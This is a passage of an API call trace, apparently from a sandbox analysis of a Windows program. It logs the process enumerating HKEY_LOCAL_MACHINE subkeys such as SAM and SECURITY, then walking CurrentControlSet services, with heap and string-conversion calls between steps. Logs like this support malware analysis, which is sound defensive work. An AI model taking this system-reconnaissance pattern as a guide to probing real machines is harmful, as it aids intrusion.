BaseAddress=0x21f1df0) returned 1 [0243.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.122] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0243.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0243.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.122] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0243.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0243.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.123] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0243.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0243.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.123] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0243.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0243.123] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.123] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.123] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0243.123] RegCloseKey (hKey=0x80000002) returned 0x0 [0243.123] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0243.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0243.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1c40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0243.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0243.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0243.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0243.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0243.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0243.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1c40, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0243.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.124] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0243.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0243.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0243.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0243.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0243.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0243.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0243.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0243.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.125] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0243.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0243.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.126] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0243.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0243.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1c40, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0243.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.126] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0243.126] RegCloseKey (hKey=0x150) returned 0x0 [0243.126] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0243.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0243.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.126] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.126] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0243.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0243.126] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.127] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0243.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0243.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1df0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0243.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.127] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0243.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0243.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.127] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0243.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0243.127] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.127] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0243.127] RegCloseKey (hKey=0x154) returned 0x0 [0243.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0243.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0243.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1c40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0243.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0243.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0243.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1df0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0243.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: 